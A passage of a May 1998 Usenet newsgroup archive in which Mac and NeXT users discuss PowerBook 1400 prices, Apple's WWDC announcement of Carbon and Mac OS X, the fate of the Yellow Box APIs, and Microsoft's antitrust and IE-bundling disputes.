Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Mon, 11 May 1998 20:04:45 +0200
Organization: U. of Vienna
Message-ID: <1998051120044544940@mailbox1.univie.ac.at>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com>
<macghod@concentric.net> wrote:
> In <6j093p$2th$1@nntp2.ba.best.com> Nathan Keir Edel wrote:
> > In comp.sys.mac.portables macghod@concentric.net wrote:
> > > If you can, good lord yes cancel it!. The upgrade costs what, $1000?
> The
> > > 1400 c goes for $1400 used. Thats $2400, for 2800 you can get a nice
> > > powerbook.
> >
> > It's unlikely he could get the full $1400 selling his, and selling a used
> > powerbook is quite a hassle.
>
> You would think so wouldnt you? But if you look at the prices of 1400's, one
> is lucky to find a 1400 c (not cs) for $1400. You MIGHT be able to find a
> 1400 cs for $1200, but neither 1400 has been reached the $1000 level. A
> 1400c SHOULD be about $1000, but it aint happening.
Don't you wonder why? Its because the 1400 ROCKS, man! There's been a
wild rush to get the last few Apple produced. I know, 'cause I got one
of them, and a colleague here in Vienna was a week too late.
With the G3 upgrade it really rocks, according to the benchmarks.
Jon
--
To E-mail me, remove the 'zz' from my address.
From: "FJ van Wingerde" <fj@medg.lcs.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: WWDC keynote
Date: 11 May 98 13:40:27 +0000
Organization: Harvard University University Information Systems
Message-ID: <B17CB04E-449AF@134.174.31.187>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Watched the broadcast. Biggest topic: 'Carbon'.
There will, for now, be a dual-track OS strategy,
8, running projected at least trhough releases
8.5, and Sonata, and a track for MacOS X (ten),
which will start as Rhapsody in Q3, beta X in
Q1 99, and a full release in Q2.
'Carbon' is the set of clean API calls from the current
MacOS 8, consisting of 6000 of the current 8000 calls,
with some new ones added. 'Carbon' is supposed to be so
clean that programs upgraded to it (i.e. tested to
see which of the 2000 bad calls they use, and stripped
of them) can run on MacOS X. Apple will also provide
libs for MacOS8 so that Carbon apps will run on
releases of MacOS 8 from 8.0 onwards.
App developers can use tools to evaluate their
current apps and upgrade them without significant
re-writes, and run them, no BlueBox, no emulation,
as independent, multi-tasking, memory protected
apps, on MacOS X. Demonstrated by Avi on
DR2 were a Carbon-based SimpleText, MoviePlayer,
Photoshop 5 - they all seemed very worried about
breaks and crashes, and very happy they didn't
happen except when scheduled to show off the
memory protection.
No mention of the Yellow Box APIs. None.
Or it would have to have been when my
Netscape crashed.
FJ!!
From: jonathan.naude@zzunivie.ac.at (Jon Naude)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Mon, 11 May 1998 20:04:56 +0200
Organization: U. of Vienna
Message-ID: <1998051120045645612@mailbox1.univie.ac.at>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com> <MPG.fbd6e4656c1ea7598968b@news.supernews.com> <joe.ragosta-0905980718280001@elk74.dol.net> <MPG.fbe1c8dee7b6c0998968e@news.supernews.com>
Donald Brown <don.brown@cesoft.com> wrote:
> In article <joe.ragosta-0905980718280001@elk74.dol.net>,
> joe.ragosta@dol.net says...
> > > Which means my home development environment is identical to my office
> > > development environment is identical to my hotel room development
> > > environment is identical to my travelling development.
> > >
> > > Which is very cool.
> >
> > Yep. I'm approaching the point where I may have a single computer -- a
> > PowerBook G3. It's not in the budget this year, but I'm going to try for
> > it next year. No more transferring files. And with Location Manager,
> > configuration for different locations is a breeze.
> >
> Yes. The Location Manager is the best "little idea" that has come out
> from Apple in years! It switches my mac between Ethernet TCP at the
> office and PPP at home, switches printers, and even there are some apps
> (like my QuickMail LAN program) that I only want to start up when I'm at
> the office.
>
> I've got it set so, when I start up, it asks me which location I'm in.
>
> As opposed to this Windows laptop. I don't have to switch between TCP
> settings (Windows can have multiple TCP devices active at the same time),
> but I regularly try to print to the wrong printer and at home I've got a
> bunch of apps that launch that I don't want when I'm home.
>
> Donald
Hmm... It sounds like a good idea, although I don't need it yet.
Just wish Apple could think of less M$oft-sounding names... the various
"managers" give me the creeps...
Jon
--
To E-mail me, remove the 'zz' from my address.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: So THAT is the OS stratetgy?
Date: 11 May 1998 11:11:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17C8D50-7E886@206.165.43.134>
To: "AIMED-Talk" <aimed-talk@aimed.org>, "GX-Talk" <gx-talk@aimed.org>,
don@doncrabb.com
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
So that's it?
Factor out all the "bad" system/toolbox calls, add a few new ones, provide
tools to make support for MacOS 10 (a skip of 9 saves time?), and
everything is good?
Rhapsody is now just a framework (I gather) to make developing for MacOS
better?
Ummmm...
Sounds like a $400 million solution to me.
Did I miss something?
Did this sound a little high on hype and low on content? I presume that the
rest of the conference will flesh things out...
And what is the WWDC attendance, anyway? As bad, worse, or better than
expected?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 11 May 1998 18:34:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6leh69.4k9.sal@panix3.panix.com>
References: <35522293.731DC4F3@alum.mit.edu> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <35538B51.C5BFA834@alum.mit.edu> <894670192.17827@kelp.mbay.net>
On 8 May 1998 23:35:37 GMT, Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
>Probably the best hope for those of us who don't like MS is waiting
>for them to become schlerotic and arrogant,
That has happened already.
>in the 70's. Then perhaps someone will come up with the right
>combination of money, talent, product, and opportunity. If the
If IBM couldn't get anyone to bundle OS/2 with new PCs, then how on earth
is some "six guys in a garage" going to? And who is going to fund those
guys? Wall Street is only funding companies in markets that MS is not in,
and when MS moves in all the other stocks suffer. Looks at Checkpioint.
Their stock fell on *rumors* that MS *might* bundle similar software
in some *future* version of NT.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 12:41:05 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35573831.69E8CDC6@milestonerdl.com>
References: <B17C8D50-7E886@206.165.43.134>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Lawson English <english@primenet.com>
Yea, I'm looking for better clarification on CARBON vs YellowBox.
If carbon is now the future, then that answers any question I had about an
Intel (or any hardware) migration via YellowBox.
Lets hope for some information from WWDC be put up on the web.
Lawson English wrote:
> So that's it?
>
> Factor out all the "bad" system/toolbox calls, add a few new ones, provide
> tools to make support for MacOS 10 (a skip of 9 saves time?), and
> everything is good?
>
> Rhapsody is now just a framework (I gather) to make developing for MacOS
> better?
>
Shhhhh. Unix will be the underpinning. We'll just remove the command line,
grep-sed-awk-vi, and CALL it MacOS X. No one will know the difference.
> Ummmm...
>
> Sounds like a $400 million solution to me.
The plan HAS changed from the inital NeXT purchase.
>
>
> Did I miss something?
>
> Did this sound a little high on hype and low on content? I presume that the
> rest of the conference will flesh things out...
>
> And what is the WWDC attendance, anyway? As bad, worse, or better than
> expected?
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 12:13:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17C9BE6-B55ED@206.165.43.134>
References: <35573831.69E8CDC6@milestonerdl.com>
To: "M Rassbach" <mark@milestonerdl.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
M Rassbach <mark@milestonerdl.com> said:
>Yea, I'm looking for better clarification on CARBON vs YellowBox.
>
>If carbon is now the future, then that answers any question I had about an
>Intel (or any hardware) migration via YellowBox.
>
>Lets hope for some information from WWDC be put up on the web.
One would HOPE that Yellow Box apps will run just fine on OS X. The
interesting question:
Will OS 8 + X libraries allow MacOS 8 users to run Yellow Box apps?
The other interesting question:
By "OS 8," did he mean 8.1, which means PowerMac only? I assume so, but
George Graves is under the impression that he meant G3-only.
Gack.
Michael Spindler for CEO of Apple -at least he was sane...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 15:39:08 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1105981539090001@192.168.0.3>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
:Yea, I'm looking for better clarification on CARBON vs YellowBox.
I think it's pretty obvious from the press release that Carbon is going
to be the current Mac Toolbox with certain problem areas, most likely
Quickdraw, the Window, Dialog, etc. managers significantly altered or
replaced altogether. This is separate from the Yellow Box, and sounds
somewhat like what the Latitude libraries provided.
Something like Latitude floating on top of a new display manager and
kernel would probably address the needs of 90% of Mac developers. At some
point, Yellow Box apps will probably be able to work along side of Mac OS
X apps. But, it's my guess that they'll be an optional framework for years
to come.
:Lets hope for some information from WWDC be put up on the web.
:
:Shhhhh. Unix will be the underpinning. We'll just remove the command line,
:grep-sed-awk-vi, and CALL it MacOS X. No one will know the difference.
One could argue that if you take those things away, that you don't
really have 'unix' anymore.
:The plan HAS changed from the inital NeXT purchase.
Yep, they've gone back to a Copland-like plan of fixing the Mac
Toolbox. I have to say that I sort of expected this, the only people for
which rapid transition to the Yellow Box APIs made good business sense
were OpenStep developers. Everyone else had a ton of work to do.
-Eric
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 11 May 1998 11:58:23 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1105981158230001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net>
In article <6j2m0f$m0c$3@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>Robert Cassidy wrote in message ...
>>In article <6ir7p5$nt$4@ligarius.ultra.net>, "John Saunders"
>><jws@jws.ultranet.com> wrote:
>>
>>> And I don't believe you actually have to use IE if you don't want to. You
>>> can use Netscape if you want. In fact, an OEM can even preload Netscape
>on
>>> your new computer and add the Netscape icon to the desktop.
>>
>>According to MS you do, because you cannot remove it and because critical
>>elements of the system supposedly require it.
>>
>Bob, you leave me totally confused.
>
>If you used Netscape for all of your web browsing, but if some applications
>you use had HTML help files and used some "IE4" component to display the
>help, why would you have a problem? The presence of "IE4" components on your
>system does NOT mean you have to use them when you would have chosen
>Netscape. Not, at least, unless you really wanted to use Netscape to view
>that HTML help? If so, why?
Again, because MS says that I cannot disassociate IE with some of the
functions of the system, that means I cannot develop my own solutions that
may work better with Netscape than IE. That means that an app that I use
that wants an internet gateway cannot use Netscape as that gateway.
It's one of the things that I love so much about products like Quicktime.
I can use MPEG or AVI if I want or see the need. I can as a user or
developer use the QT API to access the technology that I want to use.
There are a lot of reasons why I like Netscape for browsing over IE.
Netscape has features that IE doesn't. Those cool contextual menus are
different between browsers, and I like some of Netscapes better. I'd
prefer a mix of the two, actually. I find that Navigator is faster at
displaying pages on my Mac, though IE is quicker at getting them, so it's
reasonable that there will be performance differences. IE on the Mac
(can't recall for the PC) will die off after it loads so many images and
needs to be restarted. So there are bugs in browsers that choice can help
avoid. Plug-ins aren't totally compatable. Javascript isn't compatable.
And so on.
Why should I *ever* want to be denied the ability to choose what is best
for my users? There is almost no point in questioning the desire for
choice, as there are always going to be cases that cannot be predicted.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 11 May 1998 12:02:53 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1105981202540001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net> <rmcassid-0605981338290001@dante.eng.uci.edu> <6j2m0e$m0c$2@ligarius.ultra.net>
In article <6j2m0e$m0c$2@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>I was responding to what I thought was the point you were making. I thought
>you were saying, "they signed the consent decree, so they're guilty, even
>though they're not "officially" guilty". My response was "there are reasons
>other than guilt to sign a consent agreement".
Of course. However, I suspect that in this case they were guilty simply
because of the nature of the decree.
>Of course I'd like to know the truth. But we don't get to find out when
>there's no trial.
Even if there is a trial we don't really know the truth. How many people
have been convicted for things that they did not do? How many also
admitted to it but still didn't do it?
>Also, I sharply disagree with your interpretation of the meaning of the
>bundling clause. I agree that it would prevent them from bundling Microsoft
>Office with Windows 95, since that's clearly a separate product. I do not
>believe it should prevent them from bundling the contents of the Plus!
>package, since I'm willing to treat those components as an operating system
>add-on. We could debate which of these two scenarios applies to IE4, but I'd
>rather not. I think the latter applies: IE4 is a Windows upgrade that
>happens to add Internet capabilites. That's why I don't think the bundling
>clause should apply. I suspect you have a different opinion on this topic.
Yeah. IE4 is a Mac product (previously developed by Spyglass) and as such
cannot be thought of as a newly integrated component of Windows for
exactly the same reasons as Office. I fail to see how I could have an
integrated Windows technology as a stand alone add-on product for the Mac.
-Bob Cassidy
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 14:36:07 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3>
Mime-Version: 1.0
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In article <rex-1105981539090001@192.168.0.3>, rex@smallandmighty.com (Eric
King) wrote:
> In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
>
<snip>
> :The plan HAS changed from the inital NeXT purchase.
>
> Yep, they've gone back to a Copland-like plan of fixing the Mac
> Toolbox. I have to say that I sort of expected this, the only people for
> which rapid transition to the Yellow Box APIs made good business sense
> were OpenStep developers. Everyone else had a ton of work to do.
It's not all that Copland-like since Carbon will break nearly all current
Mac OS apps. The goal in Copland was not to do that. The advantage to
having Carbon (as far as I understand from the speech) is that it doesn't
take all that much to modify a Mac OS app to work with Carbon. A Blue Box
like thing will still be necessary to run all Mac OS apps (ie. the old
ones), but then those apps will be stuck with the CMT and lack of PM within
the Blue Box. Carbon allows apps written for it to take advantage of all
the buzzwords just like Yellow Box apps.
Mac OS X sounds rather like Gershwin, Copland, OpenStep, and the Mac OS
combined. That'll be neat if they can pull it off.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 13:47:58 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355747DE.B4BF976B@milestonerdl.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Eric King wrote:
> In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> :Yea, I'm looking for better clarification on CARBON vs YellowBox.
>
> . But, it's my guess that they'll be an optional framework for years
> to come.
Or not. Perhaps someone has some links to some 'facts' on this.
> :Lets hope for some information from WWDC be put up on the web.
> :
> :Shhhhh. Unix will be the underpinning. We'll just remove the command line,
> :grep-sed-awk-vi, and CALL it MacOS X. No one will know the difference.
>
> One could argue that if you take those things away, that you don't
> really have 'unix' anymore.
Yup. Hopefully you can add them right back in tho.
> :The plan HAS changed from the inital NeXT purchase.
> Yep, they've gone back to a Copland-like plan of fixing the Mac
> Toolbox. I have to say that I sort of expected this, the only people for
> which rapid transition to the Yellow Box APIs made good business sense
> were OpenStep developers. Everyone else had a ton of work to do.
And, if YellowBox is to be de-emphized, and later scrapped, developers don't have
an easy migration path OFF of Apple hardware...like yellowbox can now offer.
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: fmlazar@fc.copytoneonline.com (Frank Lazar)
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Organization: Copytone Visual Communications
Message-ID: <fmlazar-1105981511410001@rover.copytoneonline.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com> <MPG.fbd6e4656c1ea7598968b@news.supernews.com> <joe.ragosta-0905980718280001@elk74.dol.net> <MPG.fbe1c8dee7b6c0998968e@news.supernews.com> <1998051120045645612@mailbox1.univie.ac.at>
Date: Mon, 11 May 1998 19:11:40 GMT
In article <1998051120045645612@mailbox1.univie.ac.at>,
jonathan.naude@zzunivie.ac.at (Jon Naude) wrote:
>
> Hmm... It sounds like a good idea, although I don't need it yet.
> Just wish Apple could think of less M$oft-sounding names... the various
> "managers" give me the creeps...
>
> Jon
That's the true sign of a buisness machine. :)
Date: Mon, 11 May 1998 12:52:36 -0700
From: edko@qnet.com (Edwin Koshimoto)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Message-ID: <edko-1105981252360001@babylon5.dfrc.nasa.gov>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com> <MPG.fbd6e4656c1ea7598968b@news.supernews.com> <joe.ragosta-0905980718280001@elk74.dol.net> <MPG.fbe1c8dee7b6c0998968e@news.supernews.com> <1998051120045645612@mailbox1.univie.ac.at> <fmlazar-1105981511410001@rover.copytoneonline.com>
In article <fmlazar-1105981511410001@rover.copytoneonline.com>,
fmlazar@fc.copytoneonline.com (Frank Lazar) wrote:
> In article <1998051120045645612@mailbox1.univie.ac.at>,
> jonathan.naude@zzunivie.ac.at (Jon Naude) wrote:
>
>
> >
> > Hmm... It sounds like a good idea, although I don't need it yet.
> > Just wish Apple could think of less M$oft-sounding names... the various
> > "managers" give me the creeps...
> >
> > Jon
>
>
> That's the true sign of a buisness machine. :)
What? That it gives you the creeps? :-) :-)
ed
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 14:02:10 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35574B32.2D3298EB@milestonerdl.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>
Mime-Version: 1.0
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Pulsar wrote:
> In aIt's not all that Copland-like since Carbon will break nearly all current
> Mac OS apps.
Smacks of Microsoft.
Lets change the OS so it breaks everybodys Apps. Then, the users can pay the
application makers to un-break things.
(the only problem with the above is there is a non-breaking way to run the old
code...or at least that's what I heard.)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 11 May 1998 12:38:19 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1105981238190001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com>
In article <6j4gep$l28$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>> Regardless of whether they were proven or not has no bearing on whether
>> they are true or not.
>
>"Proven" allegations may reasonably be assumed to be true.
>"Unproven" allegations may not.
I wouldn't necessarily make that assumption for a corporate case.
Considering that corporations often buy their way out of criminal cases
and claim no wrongdoing, I think that there is a relatively low
correlation between proven and true in the corporate world. I think that
the case 'proving' silicone breast implants are dangerous was strongly
incorrect. In a corporate case with class-action suits, a company can be
so overwhelmed by the masses through lawyer and media induced hysterics
that they don't stand a fair chance. At the same time, corporations can
stall and undermine many well founded cases (like Big Tobacco) through
their deep pockets and politicing.
>> But they aren't individual rights, and they should never come before the
>> right of the individual. As such, the right of an individual to liberty
>> should never come second to the right of a corporation to be big and
>> profitable.
>
>We have a solid point of contention here. It was my understanding that
>corporations do have the same rights as individuals. For example,
>corporations have the right to free speech because individuals do.
>
>This is a point of law that should be easily proven or disproven. I will
>do some research and try to find some links that will prove my point.
>
>Or you can save me some work and concede the legal status of the corporations
>and limit your position to how it "should be" as compared to what it "is".
There is some considerable exceptioning taking place here, but essentially
you are correct as I think a corporation is essentially a type of trust,
but with a gazillion rules and exceptions attached.
>> In fact, the latter does not exist except in the minds of
>> corporations.
>
>And in the minds of the courts?
The same, depending on the way the winds are blowing. But generally I
think the same. The courts seem to view corporations as being far more
resiliant to change than individuals.
>> Corporations have few rights regarding success.
>
>Both individuals and corporations have no guarentees to "success".
But MS sometimes act as though they do have that right. Their response to
anti-trust seems to fall along the lines of 'but we have the right to our
success'.
><snipped good history lesson>
>
>> We don't want an MS monopoly here, but over there would be just fine,
>> thank you. That's how I see it falling out. Nobody I know of really
>> believes in the rights of a corporation.
>>
>Let's ask the legal system what it believes.
Legal system could care less if MS has a monopoly in China. Ask *their*
legal system. So while we would break up a US monopoly by MS, we might not
preclude them from having one overseas. How that could happen is beyond
me. But I think there is a parallel to be drawn from Big Tobacco. We don't
want them advertising, selling, whatever here in the US, but we'll
*encourage* them to do it overseas. The masses get their votes heard and
protection demanded, yet the economy suffers not at all. Since things are
working now as well as we could expect, it's a _very_ likely outcome in my
book. We don't need RJ Reynolds to grow, just to not shrink. Same goes for
MS.
><snip>
>> The decree has no place here. Anti-trust is quite clear that you cannot
>> use a monopoly position in one market to dominate another market.
>
>I do not know if you have read my previous posts. I have been arguing
>FOR a DOJ generated anti-trust case. What I have been arguing against
>is the misuse of the Contempt Case. If you agree that Microsoft is not in
>violation of the Consent Decree, then we are in agreement.
Actually you didn't make the case clear (as I read it) that you wanted an
anti-trust case filed, only that you thought one would could be better
argued. To that I agree. I think the time has come to drop the concent
business - it clearly didn't work. I still think it *could* be argued, but
the wording is too vague, so they should move on. As for whether they
violated the concent decree, I don't know for sure. The wording to me is
not at all clear, and I think MS made a leap where they should have sought
clarification. I don't think they did that and are now screaming 'foul'.
Did MS ever seek clarification of whether they could bundle IE with
Windows and make a new product of it (98)? I don't think so and either
suggests to me that they think the courts are out to get them or they
thought they would rule against them. Considering the magnitude of the
product and the questionable wording, I have to wonder about their
reasoning here. The DOJ should also have acted sooner. I think they *did*
violate WRT 95 and IE bundling for some box makers. That much is clear,
but they've since corrected it. But for Win98, I don't know.
>> I see a clear difference. Windows WAS a newly defined product for MS-DOS.
>> It never existed without MS-DOS, and could not exist without MS-DOS. It
>> was impossible to un-integrate them. That's not the case with IE. IE can
>> exist quite nicely as a separate product. That could never be said of
>> Windows.
>
>I know it is tempting to argue about what "Integrated Products" means in
>the Consent Decree. The DOJ succumed to the temptation and wasted time and
>tax dollars pushing the wrong case (IMO). Are you still arguing that
>Microsoft is in violation of the Consent Decree?
For requiring certiain box makers to ship IE, yes, I think they were. For
98, I don't know.
>> Disagree with my assumption of what they want, or what their chances are?
>> I don't think their chances arguing Concent Decree are very good now. I do
>> think that was their thinking as anti-trust seems to be upon us this
>> coming week.
>
>I was disagreeing with the DOJ getting 80% for 20% effort. The Contempt
>Case was the wrong case to press LEGALLY. The only explanation for it is
>to garner POLITICAL support. I am fundimentally opposed to our government
>filing false suits for political reasons. Senator Hatch and others are
>applauding the same DOJ actions that the Appellate Court is finding
>inexcusable.
I think it was the right case against 95, but not against 98. Since the 95
issue is now moot (MS undid it, apparently) and 98 is upon us, it should
be dropped. I think the case illustrated how far MS is willing to push the
marketplace and the courts. I think the case was valid in a limited sense.
Claiming that IE was integrated in Win95 was *clearly* stretching the
truth a bit too far. I think they used it to garner political and popular
support, but I think MS handled it so poorly that it became a much bigger
issue than the DOJ originally intended. It didn't seem to be a big deal
until MS really started to push.
-Bob Cassidy
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Why ''Carbon''?
Date: 11 May 1998 20:05:57 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu>
Why are they porting the old-fangled MacOS Toolbox to Rhapsody?
There's essentially only one--very important--reason.
MS Office life support.
If Big Green decided ''No Yellow Box ports'' then the MacOS would eventually
take more hits because the major application was only running in
''emulation''. No matter the technical reality, it would feel like
''emulation'' and that would marginalize Apple operating systems even more.
This way, Microsoft is less able to withstand public pressure if it refused
to make a new native multitasking and protected MS-Office. If the choice
was only Yellow Box or emulation, it could be argued that it would take too
much effort.
What I hope has not been Steved:
* Yellow Box API
* BSD
* running on Intel
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 20:07:59 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6j7lqv$fdi$1@vixen.cso.uiuc.edu>
